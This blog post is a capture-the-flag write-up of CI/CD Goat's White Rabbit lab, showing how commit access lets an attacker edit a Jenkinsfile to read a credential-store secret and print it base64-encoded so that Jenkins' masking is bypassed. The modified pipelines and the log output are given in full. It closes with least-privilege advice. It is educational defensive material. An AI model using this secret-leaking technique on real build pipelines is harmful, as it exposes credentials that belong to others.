How easy is it to steal credentials from Jenkins with Commit Access?
Tags: cicd, security, jenkins
Published: 2023-09-22 21:25:12


What is the first thing you do when you start at a new company? You'll spend the first few days requesting access to various systems.

If the company is using GitHub Enterprise or some other on-prem version control system, you will likely not see any repositories once you sign in. Why is that? 
You're part of the team now. Shouldn't you have access?
Of course. But only for the projects you work on.
If you ever wondered why that's the case and why you don't get all privileges by default, this blog post is for you.

## Access All Areas Gone Wrong

In this blog post, we want to explore what happens if a development machine gets compromised, granting an attacker write access to source code repositories.
To experience this first-hand, we're using [CI/CD Goat](https://github.com/cider-security-research/cicd-goat), and one of the CTF challenges to play through the scenario of an attacker gaining access to sensitive data within build infrastructure.

### What is CI/CD Goat?

A quick Google search reveals a long list of so-called "Goat" projects. 
The purpose of these projects is to provide a deliberately vulnerable environment for users to practice their security skills.

CI/CD Goat provides a deliberately vulnerable CI/CD sandbox environment to practice exploiting pipelines and stealing secrets.
While you could use some of the techniques required to win the challenges to break into other systems, the main goal is to teach tech professionals how attackers leverage security vulnerabilities so they can build more secure systems. 

### The attacker mindset

As software developers, we learn early on to think about technical debt, good abstractions, etc.
We value maintainable systems and work to improve them daily.

Switching sides to security and suddenly priorities change. Instead of thinking about technical debt and abstractions, the focus lies on "How easy can an outsider exploit this feature?" or "Could this be an attack vector?"
If you set foot into the security field for the first time today, concerns such as attack vectors might initially seem foreign.
The good news is that you can learn all this the same way you learned how to become a software developer.

Let's pretend we are an attacker who gained access to a developer's machine.
It is our goal to obtain sensitive information. The most straightforward way in this scenario is by exploiting the CI/CD pipeline. 

## CI/CD Goat Rules

Once CI/CD Goat is [up and running](https://github.com/cider-security-research/cicd-goat#Download--Run) and you are logged in to the dashboard, you have access to a variety of exercises to practice attacking CI/CD pipelines.
The dashboard organizes exercises by difficulty level.

The objective for each challenge is to "capture the flag," meaning that there are one or more tokens we need to obtain during this challenge. The flag can be a specific and custom ID or a `PYPi` access token. The challenge is complete once we've found and submitted the token.

## Steal the Token - White Rabbit

White Rabbit is an easy challenge, suitable for newcomers. Right off the bat, you have write access to the repository to push commits and merge pull requests.
To win the challenge, you need to obtain the flag, which is stored in the Jenkins credential store.

### Recon

Before getting started, it's a good idea to look at the project and how it is set up. 
Looking at the directory structure, it seems White Rabbit is a Python project:  

```
✦ ➜ ls -l
drwxr-xr-x    - user 20 Sep 10:13 changelog
.rw-r--r--  39k user 20 Sep 10:13 CHANGES.rst
drwxr-xr-x    - user 20 Sep 10:13 ci
.rw-r--r-- 5.2k user 20 Sep 10:13 CODE_OF_CONDUCT.md
.rw-r--r--  156 user 20 Sep 10:13 codecov.yml
.rw-r--r--  291 user 20 Sep 10:13 dev-requirements.txt
drwxr-xr-x    - user 20 Sep 10:13 docs
drwxr-xr-x    - user 20 Sep 10:13 dummyserver
.rw-r--r--  619 user 21 Sep 12:10 Jenkinsfile
.rw-r--r-- 1.1k user 20 Sep 10:13 LICENSE.txt
.rw-r--r--  208 user 20 Sep 10:13 MANIFEST.in
.rw-r--r--  119 user 20 Sep 10:13 mypy-requirements.txt
.rw-r--r-- 5.1k user 20 Sep 10:13 noxfile.py
.rw-r--r-- 4.5k user 20 Sep 10:13 README.rst
.rw-r--r-- 1.1k user 20 Sep 10:13 setup.cfg
.rwxr-xr-x 4.1k user 20 Sep 10:13 setup.py
drwxr-xr-x    - user 20 Sep 10:13 src
drwxr-xr-x    - user 20 Sep 10:13 tests
.rw-r--r--  232 user 20 Sep 10:13 towncrier.toml
```

Since this exercise focuses on exploiting CI/CD pipelines, let's take a brief look at the contents of the `ci` folder:

```
❯ ls -l ci
.rwxr-xr-x 195 user 20 Sep 10:13 deploy.sh
.rw-r--r-- 451 user 20 Sep 10:13 requests.patch
.rwxr-xr-x 143 user 20 Sep 10:13 run_tests.sh
```

Also, in the root folder, we can see there's a `Jenkinsfile`:

```
pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}
```

While the `ci` folder might contain something we could exploit, the better starting point is the `Jenkinsfile`.
Jenkins uses this file to build and run the project whenever we make a commit. Since we have write access to the repository, we can modify this file to obtain the token and win the challenge.

### Preparing the steal

From the info box on the dashboard, we know the flag is called `flag1`. We could find it somewhere in the Jenkins Web UI. But the token is likely configured, so it's not easily accessible via the Web UI.
Therefore, let's start by modifying the pipeline and adding an `env` output:

```
pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {

        /* Add this stage */
        stage ('recon') {
          steps {
            sh "env"
          }
        }

        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }

    }
    post { 
        always { 
            cleanWs()
        }
    }
}


```

We add a new stage right at the beginning of the workflow to print out all configured environment variables via `env`.
We could get lucky, and the flag is an environment variable.
Commit the changes and use the Gitea UI to create a pull request for the branch:

![Recon](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kg8ihrnoxhc7zbcvgrrl.png)

Let's look at the build log in Jenkins in a separate tab.

![Jenkins Pull Request Pipeline](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g16g82lr77egj9b91jyw.png)


![Jenkins PR Log Environment Variables](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/abqindmhld7dgubeopf9.png)


The log output does not reveal anything useful. Jenkins is not providing secrets as part of the regular environment.

### Attack

Since the flag is sensitive information, it's likely to be stored in the [Jenkins Credential Store](https://www.jenkins.io/doc/developer/security/secrets/). 
Therefore, we're enhancing our `Jenkinsfile` in two ways:

- Create a new environment variable `FLAG` that holds the flag value pulled from the credential store
- Print the secret value into the build log


```
pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
        /*Add this*/
        FLAG = credentials("flag1")
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        /*Add this*/
        stage ('Creds') {
          steps {
            sh """
            echo $FLAG | base64 
            """
          }
        }

        stage ('Lint') {
            steps {
                sh """
                /* pylint ${PROJECT} || true */
                env
                """
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}
```

Notice how we're piping the flag into `base64`: `echo $FLAG | base64`. 
If we didn't convert the flag to base 64, Jenkins would automatically mask the credential with stars.

Once we push and go over to Jenkins again, we see the stage running and printing the secret:

```
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] { (Creds)[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] sh[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
Warning: A secret was passed to "sh" using Groovy String interpolation, which is insecure.
		 Affected argument(s) used the following variable(s): [FLAG]
		 See [https://jenkins.io/redirect/groovy-string-interpolation](https://jenkins.io/redirect/groovy-string-interpolation) for details.
+ echo ****
+ base64
MDYxNjVERjItQzA0Ny00NDAyLThDQUItMUM4RUM1MjZDMTE1Cg==
```

With minimal effort, we were able to steal a secret. 

## What does that mean for me?

Just because somebody works at your company doesn't mean they should automatically be trusted. 
Traditional IT is often based on the "castle and moat" concept. It isn't easy to access the castle, but once inside, everybody is automatically trusted. You might have experienced this first hand in a new job. Once you get your primary user account, you can access every resource within the company network.

In today's day and age, it is much more apt to follow a zero-trust approach. While we don't suspect our coworkers have any malicious intent, we prepare for the case a coworker's computer gets compromised.
Instead of allowing an attacker to walk through open doors, every door is locked by default to increase the effort for each attempted attack.

Only developers who need access should get it when it comes to securing development infrastructure. And even then, you should extend as few privileges as possible. The fewer privileges we grant, the more difficult it becomes for somebody to attack the system.

What are your thoughts on this topic? Were you surprised by how easy it can be to steal an access token from a CI pipeline? Comment below.